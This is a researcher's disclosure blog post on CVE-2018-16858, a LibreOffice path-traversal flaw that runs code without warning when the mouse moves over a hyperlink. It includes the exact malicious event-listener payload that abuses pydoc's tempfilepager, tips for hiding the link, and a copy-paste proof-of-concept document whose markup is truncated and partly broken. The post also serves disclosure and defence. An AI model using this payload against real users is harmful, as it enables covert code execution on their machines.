InsertScript: Libreoffice (CVE-2018-16858) - Remote Code Execution via Macro/Event execution

I started to have a look at Libreoffice and discovered a way to achieve remote code execution as soon as a user opens a malicious ODT file and moves his mouse over the document, without triggering any warning dialog. This blogpost will describe the vulnerability I discovered. It must be noted the vulnerability will be discussed in the context of Windows but Linux can be exploited the same way.

Tested LibreOffice version: 6.1.2.1 (6.0.x does not allow to pass parameters)
Tested Operating Systems: Windows + Linux (both affected)

https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/

The feature

I started to read the OpenDocument-v1.2-part1 specification to get a feeling for the file format. Additionally I created some odt files (which, similar to docx, are zip files containing files describing the file structure) so I can follow the file format specification properly. The specification for the office:scripts element peeked my interested so I started to investigate how this element is used.

I stumbled upon the scripting framework documentation (which specifies that Basic, BeanShell, Java

JavaScript and Python is supported). Additionally I discovered how to create an ODT file via the GUI, which uses the office:script element (thanks google).

Open Libreoffice writer => Insert => Hyperlink and click on the gear wheel icon (open the image so you can properly read it):

I choosed to use the onmouseover event and the python sample installed with LibreOffice.

After assigning this script (or event as it is called in the LibreOffice world) and saving this file, I was able to have a look at the created file structure:

This looked like it is loading a file from the local file system and that assumption is true (the path shown is for Windows but it is present for Linux as well):

C:\Program Files\LibreOffice\share\Scripts\python\pythonSamples\TableSample.py

The file contains a createTable function.

So I opened the created ODT file and moved the mouse over the link and to my surprise the python file was executed without any warning dialog.

Important side note: LibreOffice ships with its own python interpreter, so there is no need that python is actually installed

The Bug

Given that a local python file is executed, the first thing I tried was path traversal. After unzipping I modified the script:event-listener element like this:

I zipped everything up, changed the extension to ODT and started ProcessMonitor. I configured it to only list libreoffice related events and opened the ODT file in LibreOffice. As soon as I moved my mouse over the hyperlink and therefore executing the event, I saw that the path traversal worked as a FILE NOT FOUND event was shown in ProcessMonitor!

To be sure that the feature still works with path traversal, I copy&pasted the original TableSample.py in the C:\ root directory and opened the ODT file again. Thankfully the python file was executed from C:\ as soon as the event was triggered.

Lastly I changed the content of TableSample.py in the C:\ folder so it would create a file in case it is executed. I used the same ODT file again to execute the python file and the file was successfully dropped.

That meant I was able to execute any python file from the local file system, without a warning dialog as soon as the mouse is over the hyperlink in the document.

Exploitation

To properly exploit this behavior, we need to find a way to load a python file we have control over and know its location. At first I was investigating the location parameter of the vnd.sun.star.script protocol handler:

"LOCPARAM identifies the container of the script, i.e. My Macros, or OpenOffice.org Macros, or within the current document, or in an extension."

If we can specify a python script in the current document, we should have no problem loading a custom python script. This idea was a dead end really quick as by specifying location=document a dialog is shown- explaining that macros hosted inside the document are currently disabled.

The next idea was abusing the location=user parameter. In case of Windows the user location points inside the AppData directory of the current user. The idea was to abuse the path traversal to traverse down into the users Download directory and load the ODT file as a python script (ergo creating a polyglot file, which is a python file + a working ODT file). Sadly this was a dead end as well as LibreOffice does not like any data before the ODT Zip header.

The solution

For the solution I looked into the python parsing code a little more in depth and discovered that it is not only possible to specify the function you want to call inside a python script, but it is possible to pass parameters as well (this feature seems to be introduced in the 6.1.x branch):

As LibreOffice ships with its own python interpreter and therefore a bunch of python scripts, I started to examine them for potential insecure functions I can abuse. After some digging I discovered the following code:

File:

C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.py

Code:

def tempfilepager(text, cmd):
    """Page through text by invoking a program on a temporary file."""
    import tempfile
    filename = tempfile.mktemp()
    with open(filename, 'w', errors='backslashreplace') as file:
        file.write(text)
    try:
        os.system(cmd + ' "' + filename + '"')
    finally:
        os.unlink(filename)

The user controlled cmd parameter is passed to the os.system call, which just passes the string to a subshell (cmd.exe on Window) and therefore allowing to execute a local file with parameters:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&location=share" xlink:type="simple"/>

Some notes regarding the Proof-of-Concept Video. I changed the color of the Hyperlink to white so it can't be seen. Additionally the link covers the whole page, therefore increasing the chance a user moves his mouse over the link and executing my payload:

Reporting the bug

Reporting the bug was kind of a wild ride. At first I reported it via the libreoffice bugzilla system. Apparently for security issues it is better to send an email to officesecurity@lists.freedesktop.org, but I did not know that. So my bugzilla report got closed but I convinced them to have another look. The bug was picked up and moved to a thread via officesecurity@lists.freedesktop.org. The issue was verified and fixed quite fast.

Timeline:
18.10.2018 - reported the bug
30.10.2018 - bug was fixed and added to daily builds
14.11.2018 - CVE-2018-16858 was assigned by Redhat - got told that 31.01.2019 is the date I can publish
01.02.2019 - Blogpost published

The path traversal is fixed in (I just tested these versions):
Libreoffice: 6.1.4.2
Libreoffice: 6.0.7

Vulnerable:
Openoffice: 4.1.6 (latest version)

I reconfirmed via email that I am allowed to publish the details of the vulnerability although openoffice is still unpatched. Openoffice does not allow to pass parameters therefore my PoC does not work but the path traversal can be abused to execute a python script from another location on the local file system.
To disable the support for python the pythonscript.py in the installation folder can be either removed or renamed (example on linux /opt/openoffice4/program/pythonscript.py)

Additional note

As I had some additional time until I could publish this blogpost I thought about ImageMagick, as it is using LibreOffice (soffice) to convert certain file types.
It is possible to use certain events to trigger the execution of a script as shown above but one additional parameter will be passed, which you have no control of. Therefore my PoC does not work but in case you are able to reference your own local python file, it is possible to abuse it via ImageMagick as well (given that 6.1.2.1 or another vulnerability version is installed)

Proof-of-concept - Copy&Paste and save it with an .fodt extension!

Openoffice does not support FODT files, so it is necessary to open it with Libreoffice and save it as an ODT file.

<?xml version="1.0" encoding="UTF-8"?>

<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">

<office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>

<office:settings>

<config:config-item-set config:name="ooo:view-settings">

<config:config-item config:name="ViewAreaTop" config:type="long">0</config:config-item>

<config:config-item config:name="ViewAreaLeft" config:type="long">0</config:config-item>

<config:config-item config:name="ViewAreaWidth" config:type="long">35959</config:config-item>

<config:config-item config:name="ViewAreaHeight" config:type="long">12913</config:config-item>

<config:config-item config:name="ShowRedlineChanges" config:type="boolean">true</config:config-item>

<config:config-item config:name="InBrowseMode" config:type="boolean">false</config:config-item>

<config:config-item-map-indexed config:name="Views">

<config:config-item-map-entry>

<config:config-item config:name="ViewId" config:type="string">view2</config:config-item>

<config:config-item config:name="ViewLeft" config:type="long">9772</config:config-item>

<config:config-item config:name="ViewTop" config:type="long">2501</config:config-item>

<config:config-item config:name="VisibleLeft" config:type="long">0</config:config-item>

<config:config-item config:name="VisibleTop" config:type="long">0</config:config-item>

<config:config-item config:name="VisibleRight" config:type="long">35957</config:config-item>

<config:config-item config:name="VisibleBottom" config:type="long">12912</config:config-item>

<config:config-item config:name="ZoomType" config:type="short">0</config:config-item>

<config:config-item config:name="ViewLayoutColumns" config:type="short">1</config:config-item>

<config:config-item config:name="ViewLayoutBookMode" config:type="boolean">false</config:config-item>

<config:config-item config:name="ZoomFactor" config:type="short">100</config:config-item>

<config:config-item config:name="IsSelectedFrame" config:type="boolean">false</config:config-item>

<config:config-item config:name="AnchoredTextOverflowLegacy" config:type="boolean">false</config:config-item>

</config:config-item-map-entry>

</config:config-item-map-indexed>

</config:config-item-set>

<config:config-item-set config:name="ooo:configuration-settings">

<config:config-item config:name="ProtectForm" config:type="boolean">false</config:config-item>

<config:config-item config:name="PrinterName" config:type="string"/>

<config:config-item config:name="EmbeddedDatabaseName" config:type="string"/>

<config:config-item config:name="CurrentDatabaseDataSource" config:type="string"/>

<config:config-item config:name="LinkUpdateMode" config:type="short">1</config:config-item>

<config:config-item config:name="AddParaTableSpacingAtStart" config:type="boolean">true</config:config-item>

<config:config-item config:name="FloattableNomargins" config:type="boolean">false</config:config-item>

<config:config-item config:name="UnbreakableNumberings" config:type="boolean">false</config:config-item>

<config:config-item config:name="FieldAutoUpdate" config:type="boolean">true</config:config-item>

<config:config-item config:name="AddVerticalFrameOffsets" config:type="boolean">false</config:config-item>

<config:config-item config:name="BackgroundParaOverDrawings" config:type="boolean">false</config:config-item>

<config:config-item config:name="AddParaTableSpacing" config:type="boolean">true</config:config-item>

<config:config-item config:name="ChartAutoUpdate" config:type="boolean">true</config:config-item>

<config:config-item config:name="CurrentDatabaseCommand" config:type="string"/>

<config:config-item config:name="AlignTabStopPosition" config:type="boolean">true</config:config-item>

<config:config-item config:name="PrinterSetup" config:type="base64Binary"/>

<config:config-item config:name="PrinterPaperFromSetup" config:type="boolean">false</config:config-item>

<config:config-item config:name="IsKernAsianPunctuation" config:type="boolean">false</config:config-item>

<config:config-item config:name="CharacterCompressionType" config:type="short">0</config:config-item>

<config:config-item config:name="ApplyUserData" config:type="boolean">true</config:config-item>

<config:config-item config:name="SaveGlobalDocumentLinks" config:type="boolean">false</config:config-item>

<config:config-item config:name="SmallCapsPercentage66" config:type="boolean">false</config:config-item>

<config:config-item config:name="CurrentDatabaseCommandType" config:type="int">0</config:config-item>

<config:config-item config:name="SaveVersionOnClose" config:type="boolean">false</config:config-item>

<config:config-item config:name="UpdateFromTemplate" config:type="boolean">true</config:config-item>

<config:config-item config:name="PrintSingleJobs" config:type="boolean">false</config:config-item>

<config:config-item config:name="PrinterIndependentLayout" config:type="string">high-resolution</config:config-item>

<config:config-item config:name="EmbedSystemFonts" config:type="boolean">false</config:config-item>

<config:config-item config:name="DoNotCaptureDrawObjsOnPage" config:type="boolean">false</config:config-item>

<config:config-item config:name="UseFormerObjectPositioning" config:type="boolean">false</config:config-item>

<config:config-item config:name="IsLabelDocument" config:type="boolean">false</config:config-item>

<config:config-item config:name="AddFrameOffsets" config:type="boolean">false</config:config-item>

<config:config-item config:name="AddExternalLeading" config:type="boolean">true</config:config-item>

<config:config-item config:name="UseOldNumbering" config:type="boolean">false</config:config-item>

<config:config-item config:name="OutlineLevelYieldsNumbering" config:type="boolean">false</config:config-item>

<config:config-item config:name="DoNotResetParaAttrsForNumFont" config:type="boolean">false</config:config-item>

<config:config-item config:name="IgnoreFirstLineIndentInNumbering" config:type="boolean">false</config:config-item>

<config:config-item config:name="AllowPrintJobCancel" config:type="boolean">true</config:config-item>

<config:config-item config:name="UseFormerLineSpacing" config:type="boolean">false</config:config-item>

<config:config-item config:name="AddParaSpacingToTableCells" config:type="boolean">true</config:config-item>

<config:config-item config:name="UseFormerTextWrapping" config:type="boolean">false</config:config-item>

<config:config-item config:name="RedlineProtectionKey" config:type="base64Binary"/>

<config:config-item config:name="ConsiderTextWrapOnObjPos" config:type="boolean">false</config:config-item>

<config:config-item config:name="DoNotJustifyLinesWithManualBreak" config:type="boolean">false</config:config-item>

<config:config-item config:name="EmbedFonts" config:type="boolean">false</config:config-item>

<config:config-item config:name="TableRowKeep" config:type="boolean">false</config:config-item>

<config:config-item config:name="TabsRelativeToIndent" config:type="boolean">true</config:config-item>

<config:config-item config:name="IgnoreTabsAndBlanksForLineCalculation" config:type="boolean">false</config:config-item>

<config:config-item config:name="RsidRoot" config:type="int">1115298</config:config-item>

<config:config-item config:name="LoadReadonly" config:type="boolean">false</config:config-item>

<config:config-item config:name="ClipAsCharacterAnchoredWriterFlyFrames" config:type="boolean">false</config:config-item>

<config:config-item config:name="UnxForceZeroExtLeading" config:type="boolean">false</config:config-item>

<config:config-item config:name="UseOldPrinterMetrics" config:type="boolean">false</config:config-item>

<config:config-item config:name="TabAtLeftIndentForParagraphsInList" config:type="boolean">false</config:config-item>

<config:config-item config:name="Rsid" config:type="int">1115298</config:config-item>

<config:config-item config:name="MsWordCompTrailingBlanks" config:type="boolean">false</config:config-item>

<config:config-item config:name="MathBaselineAlignment" config:type="boolean">true</config:config-item>

<config:config-item config:name="InvertBorderSpacing" config:type="boolean">false</config:config-item>

<config:config-item config:name="CollapseEmptyCellPara" config:type="boolean">true</config:config-item>

<config:config-item config:name="TabOverflow" config:type="boolean">true</config:config-item>

<config:config-item config:name="StylesNoDefault" config:type="boolean">false</config:config-item>

<config:config-item config:name="ClippedPictures" config:type="boolean">false</config:config-item>

<config:config-item config:name="TabOverMargin" config:type="boolean">false</config:config-item>

<config:config-item config:name="TreatSingleColumnBreakAsPageBreak" config:type="boolean">false</config:config-item>

<config:config-item config:name="SurroundTextWrapSmall" config:type="boolean">false</config:config-item>

<config:config-item config:name="ApplyParagraphMarkFormatToNumbering" config:type="boolean">false</config:config-item>

<config:config-item config:name="PropLineSpacingShrinksFirstLine" config:type="boolean">true</config:config-item>

<config:config-item config:name="SubtractFlysAnchoredAtFlys" config:type="boolean">false</config:config-item>

<config:config-item config:name="DisableOffPagePositioning" config:type="boolean">false</config:config-item>

<config:config-item config:name="EmptyDbFieldHidesPara" config:type="boolean">true</config:config-item>

<config:config-item config:name="PrintAnnotationMode" config:type="short">0</config:config-item>

<config:config-item config:name="PrintGraphics" config:type="boolean">true</config:config-item>

<config:config-item config:name="PrintBlackFonts" config:type="boolean">false</config:config-item>

<config:config-item config:name="PrintProspect" config:type="boolean">false</config:config-item>

<config:config-item config:name="PrintLeftPages" config:type="boolean">true</config:config-item>

<config:config-item config:name="PrintControls" config:type="boolean">true</config:config-item>

<config:config-item config:name="PrintPageBackground" config:type="boolean">true</config:config-item>

<config:config-item config:name="PrintTextPlaceholder" config:type="boolean">false</config:config-item>

<config:config-item config:name="PrintDrawings" config:type="boolean">true</config:config-item>

<config:config-item config:name="PrintHiddenText" config:type="boolean">false</config:config-item>

<config:config-item config:name="PrintTables" config:type="boolean">true</config:config-item>

<config:config-item config:name="PrintProspectRTL" config:type="boolean">false</config:config-item>

<config:config-item config:name="PrintReversed" config:type="boolean">false</config:config-item>

<config:config-item config:name="PrintRightPages" config:type="boolean">true</config:config-item>

<config:config-item config:name="PrintFaxName" config:type="string"/>

<config:config-item config:name="PrintPaperFromSetup" config:type="boolean">false</config:config-item>

<config:config-item config:name="PrintEmptyPages" config:type="boolean">false</config:config-item>

</config:config-item-set>

</office:settings>

<office:scripts>

<office:script script:language="ooo:Basic">

<ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">

<ooo:library-embedded ooo:name="Standard"/>

</ooo:libraries>

</office:script>

</office:scripts>

<office:font-face-decls>

</office:font-face-decls>

<office:styles>

<style:tab-stops/>

</style:paragraph-properties>

</style:default-style>

</style:default-style>

</style:default-style>

</style:default-style>

</style:style>

</style:style>

</style:style>

</style:style>

</style:style>

</style:style>

<text:outline-style style:name="Outline">

<text:outline-level-style text:level="1" style:num-format="">